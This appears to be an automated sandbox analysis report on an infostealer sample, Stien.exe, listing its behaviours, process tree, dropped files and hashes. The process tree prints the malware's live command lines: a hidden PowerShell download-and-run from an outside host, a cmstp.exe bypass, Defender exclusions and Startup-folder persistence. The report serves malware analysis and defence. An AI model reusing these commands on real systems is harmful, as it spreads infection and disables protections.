Analysis

  • max time kernel
    144s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/05/2024, 04:35

General

  • Target
    Stien.exe
  • Size 48KB
  • Sample240522-e7nw6acb69
  • SHA256 ce8f36cb260a5e3d03fab13624208d531551b5dc82e2097b9dd38707c32852de
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 6 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Stien.exe
    "C:\Users\Admin\AppData\Local\Temp\Stien.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -WindowStyle Hidden -f C:\Users\Public\D.ps1
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\SysWOW64\cmstp.exe
        "cmstp.exe" C:\Users\Public\user.inf /au
        3⤵
          PID:368
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1592
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5AC2.tmp" "c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\CSC93884A14A5A549A6A9B018379DBAE577.TMP"
            4⤵
              PID:3096
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -WindowStyle Hidden -c curl.exe 'http://voucher-01-static.com/rkei/Xwemz.exe' -o ('C:\Users\Public\Xwemz.exe');start ('C:\Users\Public\Xwemz.exe')
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3104
          • C:\Windows\SysWOW64\curl.exe
            "C:\Windows\system32\curl.exe" http://voucher-01-static.com/rkei/Xwemz.exe -o C:\Users\Public\Xwemz.exe
            3⤵
              PID:5064
            • C:\Users\Public\Xwemz.exe
              "C:\Users\Public\Xwemz.exe"
              3⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook profiles
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              • outlook_office_path
              • outlook_win_path
              PID:3500
              • C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
                "C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4348
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                  "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xpjvcl.exe' -Force
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Drops startup file
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:380
                • C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
                  "C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:3976
                • C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
                  "C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4964
        • C:\Windows\SysWOW64\DllHost.exe
          C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:1916
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy UnRestricted -WindowStyle Hidden Add-MpPreference -ExclusionPath $env:PUBLIC,'C:\';Add-MpPreference -ExclusionExtension '.exe';
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1144
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /IM cmstp.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2256
        • C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
          C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
            "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfumrmg.exe' -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Suspicious use of AdjustPrivilegeToken
            PID:2324
          • C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
            "C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious use of AdjustPrivilegeToken
            PID:1140

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              Xpjvcl.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Xpjvcl.exe.log
              • Size 1KB
              • SHA256 27fd9ebf0884562dedf4289f7b19b3c479b83fae4438f37bc76994ce79d14555
              • MD5 SHA1 SHA512

              hfumrmg.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hfumrmg.exe.log
              • Size 1KB
              • SHA256 bd9d5e9f7fe6fcff17d873555d4077d15f7d6cdda1183e7f7d278b735ffe1fd7
              • MD5 SHA1 SHA512

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 1e1429600d42a8909fd2384b5ad2ddf6b8c0c2d13c6a6ef39f016b9d6da8cb4f
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 18KB
              • SHA256 1039291c95a2a1b06c4e8609672f39150dd5971f90811aa31fc4abdcd2fe7e89
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 15KB
              • SHA256 e24b54c3cf5fb2ce80ba65c62f705bfabb04fb64314497ec28d9f1b7a61c4334
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 15KB
              • SHA256 2aa6fd9a8faeca7cb2a854e3008af806e459e8a523e91a015fc268993a67046e
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 20KB
              • SHA256 36d12c8d46e987b3e524e4121e360484ea893777697f1403710af0007a4d0f53
              • MD5 SHA1 SHA512 SSDEEP

              Egwfmpctg.tmpdb

              • Path C:\Users\Admin\AppData\Local\Temp\Egwfmpctg.tmpdb
              • Size 124KB
              • SHA256 a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab
              • MD5 SHA1 SHA512 SSDEEP

              RES5AC2.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES5AC2.tmp
              • Size 1KB
              • SHA256 33158ce0110e9a295f71c0ab4f5709d4a0c950774a3b29fe444b3a8ea8c36680
              • MD5 SHA1 SHA512

              Xpjvcl.exe

              • Path C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
              • Size 96KB
              • SHA256 92931a8f91d661cce0204783604ef536a4134376a9ed2e461720c7b93a129746
              • MD5 SHA1 SHA512 SSDEEP

              Zncckudy.tmpdb

              • Path C:\Users\Admin\AppData\Local\Temp\Zncckudy.tmpdb
              • Size 152KB
              • SHA256 aab0b201f392fef9fdff09e56a9d0ac33d0f68be95da270e6dab89bb1f971d8b
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_hhhncltz.4yf.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhhncltz.4yf.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              b1w4f4kw.dll

              • Path C:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.dll
              • Size 3KB
              • SHA256 4f7640909c412a41477e535c81090151d4b2446924dc7481583f316b3083a0f0
              • MD5 SHA1 SHA512

              hfumrmg.exe

              • Path C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
              • Size 26KB
              • SHA256 0b91154f7907ff59359c2f923b2ea91970b8a2899259c4a7713056cee656453c
              • MD5 SHA1 SHA512 SSDEEP

              d93f411851d7c929.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
              • Size 6KB
              • SHA256 c75bd199e7881bf4ebb62a7975a2ab652d2489563ea7c26159254acc81551e0b
              • MD5 SHA1 SHA512 SSDEEP

              d93f411851d7c929.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
              • Size 6KB
              • SHA256 204b0993cc6a52082893a64a0698b2ef06e661b8053488aa689dd1e63fee5943
              • MD5 SHA1 SHA512 SSDEEP

              D.ps1

              • Path C:\Users\Public\D.ps1
              • Size 978B
              • SHA256 7a246791c8d43bf0e0a325edc12f519b6c14c67d51e30292bea5679d7f452577
              • MD5 SHA1 SHA512

              Xwemz.exe

              • Path C:\Users\Public\Xwemz.exe
              • Size 837KB
              • SHA256 e96b455245e3e29c30bcbaf2836654435beca58d7e0e740fef3d5449caa6cfca
              • MD5 SHA1 SHA512 SSDEEP

              user.inf

              • Path C:\Users\Public\user.inf
              • Size 661B
              • SHA256 623a4f0d12503877a7ac09008876510fff9a15a42259fb8993bf5ed65ef8357f
              • MD5 SHA1 SHA512

              CSC93884A14A5A549A6A9B018379DBAE577.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\CSC93884A14A5A549A6A9B018379DBAE577.TMP
              • Size 652B
              • SHA256 c22180b61d3cf16a4f4ce8dcd10dd6176ed6228047c6bd5584d27ddcabc77b49
              • MD5 SHA1 SHA512

              b1w4f4kw.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.0.cs
              • Size 319B
              • SHA256 f52036306d49ca5bc0c58242a311526e4d045dcd070b0981db503da5e3a55212
              • MD5 SHA1 SHA512

              b1w4f4kw.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.cmdline
              • Size 369B
              • SHA256 f01deafdc8b6421eecd72a71663399958d7e607bb8eb6664523ce3c65a452c8c
              • MD5 SHA1 SHA512

              memory/380-2489-0x0000000006690000-0x00000000066DC000-memory.dmp

              memory/380-2483-0x0000000005FA0000-0x00000000062F4000-memory.dmp

              memory/1140-4757-0x0000000000400000-0x00000000004A8000-memory.dmp

              memory/1140-5611-0x0000000005290000-0x00000000052E6000-memory.dmp

              memory/1140-4758-0x0000000005160000-0x0000000005226000-memory.dmp

              memory/1144-83-0x0000000007820000-0x00000000078C3000-memory.dmp

              memory/1144-89-0x0000000007BE0000-0x0000000007BE8000-memory.dmp

              memory/1144-69-0x0000000006210000-0x0000000006564000-memory.dmp

              memory/1144-72-0x00000000706F0000-0x000000007073C000-memory.dmp

              memory/1144-71-0x00000000077E0000-0x0000000007812000-memory.dmp

              memory/1144-82-0x0000000006BE0000-0x0000000006BFE000-memory.dmp

              memory/1144-84-0x00000000079C0000-0x00000000079CA000-memory.dmp

              memory/1144-85-0x0000000007B50000-0x0000000007B61000-memory.dmp

              memory/1144-86-0x0000000007B90000-0x0000000007B9E000-memory.dmp

              memory/1144-87-0x0000000007BA0000-0x0000000007BB4000-memory.dmp

              memory/1144-88-0x0000000007BF0000-0x0000000007C0A000-memory.dmp

              memory/2068-4737-0x0000000000920000-0x000000000092C000-memory.dmp

              memory/2068-4738-0x00000000063A0000-0x0000000006466000-memory.dmp

              memory/2280-34-0x00000000072B0000-0x0000000007346000-memory.dmp

              memory/2280-35-0x0000000007250000-0x0000000007272000-memory.dmp

              memory/2280-11-0x0000000075350000-0x0000000075B00000-memory.dmp

              memory/2280-13-0x0000000075350000-0x0000000075B00000-memory.dmp

              memory/2280-12-0x0000000005270000-0x0000000005898000-memory.dmp

              memory/2280-14-0x0000000075350000-0x0000000075B00000-memory.dmp

              memory/2280-15-0x0000000005010000-0x0000000005032000-memory.dmp

              memory/2280-17-0x0000000005120000-0x0000000005186000-memory.dmp

              memory/2280-52-0x0000000075350000-0x0000000075B00000-memory.dmp

              memory/2280-48-0x0000000007370000-0x0000000007378000-memory.dmp

              memory/2280-32-0x00000000063E0000-0x00000000063FA000-memory.dmp

              memory/2280-31-0x0000000007710000-0x0000000007D8A000-memory.dmp

              memory/2280-29-0x0000000005F00000-0x0000000005F4C000-memory.dmp

              memory/2280-28-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

              memory/2280-18-0x00000000058A0000-0x0000000005BF4000-memory.dmp

              memory/2280-10-0x0000000004A60000-0x0000000004A96000-memory.dmp

              memory/2280-16-0x00000000050B0000-0x0000000005116000-memory.dmp

              memory/2324-4739-0x0000000005E70000-0x00000000061C4000-memory.dmp

              memory/2324-4750-0x0000000006540000-0x000000000658C000-memory.dmp

              memory/3104-104-0x0000000005D10000-0x0000000005D5C000-memory.dmp

              memory/3104-102-0x0000000005740000-0x0000000005A94000-memory.dmp

              memory/3160-1-0x0000000000CE0000-0x0000000000CF2000-memory.dmp

              memory/3160-92-0x0000000075350000-0x0000000075B00000-memory.dmp

              memory/3160-0-0x000000007535E000-0x000000007535F000-memory.dmp

              memory/3160-5-0x00000000056E0000-0x00000000056EA000-memory.dmp

              memory/3160-4-0x0000000075350000-0x0000000075B00000-memory.dmp

              memory/3160-3-0x0000000005780000-0x0000000005812000-memory.dmp

              memory/3160-2-0x0000000005D30000-0x00000000062D4000-memory.dmp

              memory/3500-168-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-146-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-136-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-134-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-132-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-130-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-128-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-126-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-122-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-120-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-118-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-116-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-114-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-112-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-170-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-158-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-124-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-111-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-2411-0x000000001AFE0000-0x000000001B07E000-memory.dmp

              memory/3500-2412-0x000000001B080000-0x000000001B0CC000-memory.dmp

              memory/3500-2413-0x000000001AE90000-0x000000001AEBC000-memory.dmp

              memory/3500-2414-0x000000001CE80000-0x000000001CEFA000-memory.dmp

              memory/3500-144-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-138-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-148-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-108-0x0000000000290000-0x0000000000368000-memory.dmp

              memory/3500-110-0x000000001AED0000-0x000000001AFE6000-memory.dmp

              memory/3500-142-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-140-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-156-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-151-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-152-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-154-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-174-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-173-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-160-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-166-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-164-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/3500-162-0x000000001AED0000-0x000000001AFE0000-memory.dmp

              memory/4348-2477-0x0000000006C40000-0x0000000006CDC000-memory.dmp

              memory/4348-2476-0x0000000006850000-0x000000000690A000-memory.dmp

              memory/4348-2475-0x00000000050B0000-0x00000000050CE000-memory.dmp

              memory/4348-2474-0x0000000005140000-0x00000000051B6000-memory.dmp

              memory/4348-2473-0x00000000006C0000-0x00000000006DE000-memory.dmp

              memory/4964-4732-0x0000000005C40000-0x0000000005C94000-memory.dmp

              memory/4964-4731-0x0000000005510000-0x0000000005566000-memory.dmp

              memory/4964-2496-0x0000000005280000-0x0000000005368000-memory.dmp

              memory/4964-2495-0x0000000000400000-0x000000000049C000-memory.dmp